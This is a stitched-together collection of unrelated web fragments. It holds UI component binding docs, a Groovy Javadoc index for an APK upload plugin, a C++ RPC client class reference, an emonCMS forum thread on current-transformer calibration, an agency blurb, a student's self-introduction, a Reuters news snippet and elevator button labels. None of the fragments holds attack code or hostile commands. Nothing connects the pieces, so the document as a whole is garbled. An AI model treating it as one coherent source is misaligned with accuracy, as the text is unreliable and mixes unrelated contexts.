A pet shop may be the most convenient way to buy a dog. Buying a dog from a private owner allows you to assess the pedigree and upbringing of your dog before choosing to take it home. Lastly, finding your dog from a shelter, helps give a good home to a dog who may not find one so readily.
The ui-checkbox
element/attribute corresponds to the Checkbox Semantic element.
The ui-dimmer
element/attribute corresponds to the Dimmer Semantic element.
The ui-dropdown
element/attribute corresponds to the Dropdown
Semantic element.
To-Do List
- Make
selection
dropdown manage the hidden field and expose the value so it can be two-way bound - Expose parsed value if it's a
multiple
dropdown
Selected: ${gender}
The ui-embed
element/attribute corresponds to the Embed Semantic element.
The ui-modal
element/attribute corresponds to the Modal Semantic element.
The ui-nag
element/attribute corresponds to the Nag Semantic element.
The ui-popup
element/attribute corresponds to the Popup Semantic element.
The ui-progress
element/attribute corresponds to the Progress Semantic element.
The ui-rating
element/attribute corresponds to the Rating Semantic element.
The ui-search
element/attribute corresponds to the Search Semantic element.
The ui-shape
element/attribute corresponds to the Shape Semantic element.
The ui-sidebar
element/attribute corresponds to the Sidebar Semantic element.
The ui-sticky
element/attribute corresponds to the Sticky Semantic element.
The ui-tab
element/attribute corresponds to the Tab Semantic element.
The ui-transition
element/attribute corresponds to the Transition Semantic element.


JavaScript is disabled on your browser.
Overview
Package
Class
Deprecated
Index
Help
Frames
No Frames
A
B
C
D
E
F
G
H
I
J
K
L
M
N
O
P
Q
R
S
T
U
V
W
X
Y
Z
_
A
addFileParameter(String, File)
- Method in
HttpURLConnectionUtil
增加一个文件到form表单数据中
addTextParameter(String, String)
- Method in
HttpURLConnectionUtil
增加一个普通字符串数据到form表单数据中
APK_UPLOAD_URL
- Field in
PrePlugin
apply(Project)
- Method in
PrePlugin
autoUpload
- Field in
Constants
autoUpload
- Field in
PreExtension
B
BOUNDARY
- Field in
HttpURLConnectionUtil
C
clearAllParameters()
- Method in
HttpURLConnectionUtil
清空所有已添加的form表单数据
conn
- Field in
HttpURLConnectionUtil
Constants
- Class in
com.pre.im
Constants()
- Constructor in
Constants
createUploadTask(Object)
- Method in
PrePlugin
创建上传任务
D
debugOn
- Field in
Constants
debugOn
- Field in
PreExtension
ds
- Field in
HttpURLConnectionUtil
E
enable
- Field in
Constants
enable
- Field in
PreExtension
encode(String)
- Method in
HttpURLConnectionUtil
对包含中文的字符串进行转码，此为UTF-8。
F
FILE
- Field in
Constants
file
- Field in
PreExtension
file
- Field in
UploadInfo
需要上传的ipa或者apk文件
fileParams
- Field in
HttpURLConnectionUtil
G
generateUploadInfo(Object)
- Method in
PrePlugin
generate upload info
getBytes(File)
- Method in
HttpURLConnectionUtil
把文件转换成字节数组
H
HTTPMETHOD_GET
- Field in
Constants
HTTPMETHOD_GET
- Field in
HttpURLConnectionUtil
httpMethod
- Field in
HttpURLConnectionUtil
HTTPMETHOD_POST
- Field in
Constants
HTTPMETHOD_POST
- Field in
HttpURLConnectionUtil
HTTPMETHOD_PUT
- Field in
Constants
HTTPMETHOD_PUT
- Field in
HttpURLConnectionUtil
HttpURLConnectionUtil
- Class in
com.pre.im
HttpURLConnectionUtil(String, String)
- Constructor in
HttpURLConnectionUtil
I
initConnection()
- Method in
HttpURLConnectionUtil
初始化连接
J
K
L
M
N
O
P
paramsEnd()
- Method in
HttpURLConnectionUtil
添加结尾数据
PASSWORD
- Field in
Constants
password
- Field in
PreExtension
password
- Field in
UploadInfo
下载密码 (传空字符串或不传则不设置密码)
post()
- Method in
HttpURLConnectionUtil
post(String, String, UploadInfo)
- Method in
PrePlugin
上传apk
PreExtension
- Class in
com.pre.im
PreExtension()
- Constructor in
PreExtension
PrePlugin
- Class in
com.pre.im
PrePlugin()
- Constructor in
PrePlugin
project
- Field in
PrePlugin
Q
R
readBufferFromStream(InputStream)
- Method in
HttpURLConnectionUtil
read buffer from inputstream
S
setHttpMethod(String)
- Method in
HttpURLConnectionUtil
T
textParams
- Field in
HttpURLConnectionUtil
toString()
- Method in
UploadInfo
U
UPDATE_NOTIFY
- Field in
Constants
update_notify
- Field in
PreExtension
update_notify
- Field in
UploadInfo
向内测成员发布新版通知 (1:开启)
uploadApk(UploadInfo)
- Method in
PrePlugin
上传apk
UploadInfo
- Class in
com.pre.im
作者: allen on 16/9/9.
UploadInfo()
- Constructor in
UploadInfo
url
- Field in
HttpURLConnectionUtil
USER_KEY
- Field in
Constants
user_key
- Field in
PreExtension
user_key
- Field in
UploadInfo
V
W
writeFileParams()
- Method in
HttpURLConnectionUtil
文件数据
writeStringParams()
- Method in
HttpURLConnectionUtil
X
Y
Z
_
A
B
C
D
E
F
G
H
I
J
K
L
M
N
O
P
Q
R
S
T
U
V
W
X
Y
Z
_
Overview
Package
Class
Deprecated
Index
Help
Frames
No Frames
Groovy Documentation


This class contains methods to run client, set responses, get responses, setup server addresses and execute function which is called from client stubs.
More...
#include <RpcClient.h>
|
|
| RpcClient () |
| | RPC Client constructor.
|
| |
|
virtual | ~RpcClient () |
| | RPC Client Destructor.
|
| |
|
void | createCoapPayload (string) |
| | Creates data structure to be sent to Coap Client and executes coap client's executeClient function, generates random token using Mersenne Twister pseudo-random generator and uniform discrete distribution.
|
| |
| void | setResponse (string) |
| | Setter function to store response to m_response variable. More...
|
| |
|
string | getResponse () |
| | Getter function to get response stored in m_response variable.
|
| |
| void | setServerAddr (string, string) |
| | Setter function to store ip address and port to m_address and m_port respectively. More...
|
| |
This class contains methods to run client, set responses, get responses, setup server addresses and execute function which is called from client stubs.
◆ setResponse()
| void coappbrpc::RpcClient::setResponse |
( |
string |
resp | ) |
|
Setter function to store response to m_response variable.
- Parameters
-
| resp | Response string to be stored in member variable m_response |
◆ setServerAddr()
| void coappbrpc::RpcClient::setServerAddr |
( |
string |
ipAddr, |
|
|
string |
port |
|
) |
| |
Setter function to store ip address and port to m_address and m_port respectively.
- Parameters
-
| ipAddr | Ip Address may be IPv4 or IPv6 to be stored in m_address variable |
| port | Port no to be stored in m_port variable |
The documentation for this class was generated from the following files:


Note: This is not the main code sample. It is a modified version of the original to accompany this wiki article. Find out more about the original code sample here.


Ok, I now have CT sensors feeding to a local verion of EMONCMS running a RPi as supplied a few weeks ago by the store. The CT Sensors were from ebay, but are branded the same as the ones from the store.
I don't have a 9V transformer connected, so for the moment an estimated voltage will need to be used. My inverter has a data feed of the exact voltage, which I had intended to use, but for the moment it is looking too complicated.
Now I have 4 CT clips all connected on the active wire of a small load, around 60W to 120W. However the values shown in the EMONCMS don't agree with the load as measured by what is considered to be a reasonable accurate power meter. It is showing about half the reading.
I can't understand where to put in a fixed Voltage to calibrate the readings in EMONCMS.
Now the key 5, which I assume is meant to be the voltage, is showing 550 to 560, which would account for the power variation, given that the voltage is roughly 240.
Of course I could be completely misunderstanding this and the output from the CT sensors is a current value.
Re: Sensor error or calibration problem - Real beginner
I think there's something missing here. You don't connect a CT to a Raspberry Pi. There's something in between. We need to know what - in detail. Telling us half the story isn't enough for anyone to be of much help.
Re: Sensor error or calibration problem - Real beginner
Sorry, I forgot to mention that the CT are connected to the emonTx V3, which is connected via RF to the RPi as per the standard set up supplied from the shop.
Re: Sensor error or calibration problem - Real beginner
The fixed voltage is set in the sketch in the emonTx.
However, you cannot expect accurate current readings at that level. The CT - all CTs - become inaccurate at very low currents due to losses, and yours (assuming they are the standard shop ones) are designed for 100 A maximum, as is the input circuit of your emonTx. So you are running them at well below 1%. Plus you're expecting a lot out of a 10-bit ADC, because that's running at well below 1% too. The accuracy will improve as the power increases.
The emonTx gives you power in Watts (or in your case, VA).
If you don't have a programmer to change the voltage (it's 230 V) in the emonTx sketch, you can in emonCMS, in the feed, multiply the power by 0.00435 (= 1/230) then multiply by your voltage, either as a constant or if you can get that into emonCMS, by the actual value.
Re: Sensor error or calibration problem - Real beginner
Thanks for your help.
I understand better how the system works.
Re: Sensor error or calibration problem - Real beginner
The CT - all CTs - become inaccurate at very low currents due to losses
Yes, but some are a whole lot better than others. While not suitable for the standard OEM design, the 333mV ones I use have an impressive dynamic range. I just re-tested a 20A CT, with the meter last calibrated over a year ago at 2A.
Much below 50mA and it starts to go off into the weeds on the phase error, but the amplitude stays half decent.
Re: Sensor error or calibration problem - Real beginner
"Yes, but some are a whole lot better than others."
True, but those generally cost a whole lot more too. If you don't need the split-core construction, performance of a ring-core is generally better.
And I'd expect performance to generally be better the closer it is working into a short circuit (i.e. the smallest possible value of burden resistor).
Re: Sensor error or calibration problem - Real beginner
May be I should have bought some ring core transformers. Is there a particular model to order?
Can the lower capacity CT used with Emon?
I assume some adjustments would need to be made to the setup. Is this a hardware issue or just software changes?
I suspect the 100A CT have a systemic error at low power errors as all four I was test had readings very close to each other +/-6% or less. It might be possible to include a calibration off set into the system.
Re: Sensor error or calibration problem - Real beginner
With the trouble (and small cost) of replacing the burden resistor, you can use any suitable CT with the emonTx. The devil is in 'suitable', because for best resolution we need the burden resistor to develop about 1.1 V rms at maximum current. Many CTs are designed for only 0.333 V and have a built-in burden, so those are not suitable. But a 'current output' type (i.e just a CT with nothing added) should be suitable, even if you need to derate it to get enough output voltage (see the parallel thread about the USA).
What is the maximum current that you want to measure? If I knew that, it would help.
Re: Sensor error or calibration problem - Real beginner
ok, it is starting to sound more complex than is worth the effort. Thank you for your answer Robert.
Re: Sensor error or calibration problem - Real beginner
If you add a voltage input (so that you are not squaring noise along with the signal in the rms calculation, you should see better accuracy down at those low levels. The other trick you can employ, if you have the wire, is use a multi-turn primary winding for your CT. A 10-turn primary will give you 10 A max reading, which you can correct either with the emonTx calibration factor or in emonCMS.
Therefore, given the numbers you've mentioned, a 10-turn primary would mean you would run at 5% of full range, rather than 0.5%. And the accuracy will be a whole lot better there.


When you work with us, you are part of a team of commited collaborators. All aspects of our software development process are intergrated, interactive and agile.
Our approach unifies design, development and product management to create exceptional products.
We start each project understanding your business goals, the user's needs and the product requirements.
Then we help translate them into effective and elegant solutions.
Before we sign a ontract or write a line of code outr team will spend the necessary time needed to understand yout poduct vision
The outcome of this scoping session is a proposal or high-level statement of work.
based on your requiremnts, we can provide a complete offering or just the pieces you need.


Hello
I am Jamila Othman. I am 25 years old I was born in Jeddah. I am originally from Ain karm, Jerusalem. I have a bachelor's degree in medical physics from king Abdulaziz university . I don't have work experience but I trained in Jordan Hospital in nuclear medicine department for like one year.
- Venice
- Milano
- Geneva
- London
- Florence
- Rio de Janeiro
- Prague
- Bruges
- Lisbon
- Budapest
Best ten cities
education summary
- I got a scholarship from ministry of higher education
- I started my studying in king Abdullaziz univirsity in February 2014
- I studied medical physics in faculty of science
- physics , chemistry ,biology,calculus these were the main subjects of the course
- In the Last semester I went to King Fahad general hospital to training
- I made a report about the hospital in general and and specifically about the Radiology and nuclear medicine departments
- I graduated in December 2017
- I came back to Jordan in jul 2018
- I trained In nuclear medicine department in Jordan hospital for one year
- Now I am studying software developing in ASAC


Mexican government says it is concerned about situation in Bolivia
MEXICO CITY (Reuters) - Mexico’s foreign ministry said on Saturday that it was concerned about the political situation in Bolivia, which has been locked in a weeks-long standoff over a disputed election.
“For Mexico, democracy is the only way and replacing this process with force and violence means a setback,” the foreign ministry said in a statement. “The Government of Mexico urges dialogue, as President Evo Morales has put it.”


Floor 10
up
down
Floor 9
up
down
Floor 8
up
down
Floor 7
up
down
Floor 6
up
down
Floor 5
up
down
Floor 4
up
down
Floor 3
up
down
Floor 2
up
down
Floor 1
up
down
Floor 0
up
down
0
1
2
3
4
5
6
7
8
9
10
AAA